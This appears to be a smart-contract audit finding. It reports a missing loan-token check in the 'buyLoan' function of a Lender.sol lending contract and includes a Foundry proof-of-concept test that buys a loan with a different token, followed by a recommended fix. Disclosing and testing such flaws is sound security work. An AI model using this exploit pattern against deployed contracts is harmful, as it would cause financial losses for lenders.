This audit report provides an assessment of the "buyLoan" function in the Lender.sol smart contract. It has been identified that the function lacks a check to ensure that the loan token of the Pool matches the loan token of the loan being purchased. This vulnerability could enable an attacker to buy a loan using a different, potentially cheaper token, potentially leading to financial losses for users.
The "buyLoan" function in the Lender.sol contract allows users to purchase a loan from the IPool by providing the required loanId. However, the function does not verify that the loan token of the Pool matches the loan token of the loan being purchased. As a result, an attacker could exploit this vulnerability by providing a loanId that belongs to a different IPool with a cheaper loan token. This would allow the attacker to acquire the loan at more favorable rate, potentially leading to financial losses for the lender or other users.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
TERC20 public token3;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
token3 = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
token3.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
token3.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function test_borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_zapBuyLoan() public {
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(token3),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.warp(block.timestamp + 12 hours);
lender.zapBuyLoan(p, 0);
assertEq(lender.getLoanLender(0), address(lender2));
assertEq(token3.balanceOf(address(lender2)), 99000 * 10 ** 18);
}
}
The absence of a check to match loan tokens in the "buyLoan" function creates a loophole that could be exploited by attackers. If an attacker identifies a loan with a different IPool that offers a cheaper loan token, they can use the "buyLoan" function to purchase the loan using the cheaper token. This could result in losses for the lender or other users who may not receive the expected repayment amount.
To address the vulnerability, it is recommended to implement a check in the "buyLoan" function to ensure that the loan token of the IPool matches the loan token of the loan being purchased. This can be achieved by comparing the loan tokens before proceeding with the loan purchase transaction.
By adding this check, the contract will prevent loans from being purchased using a different loan token, mitigating the risk of financial losses due to token discrepancies.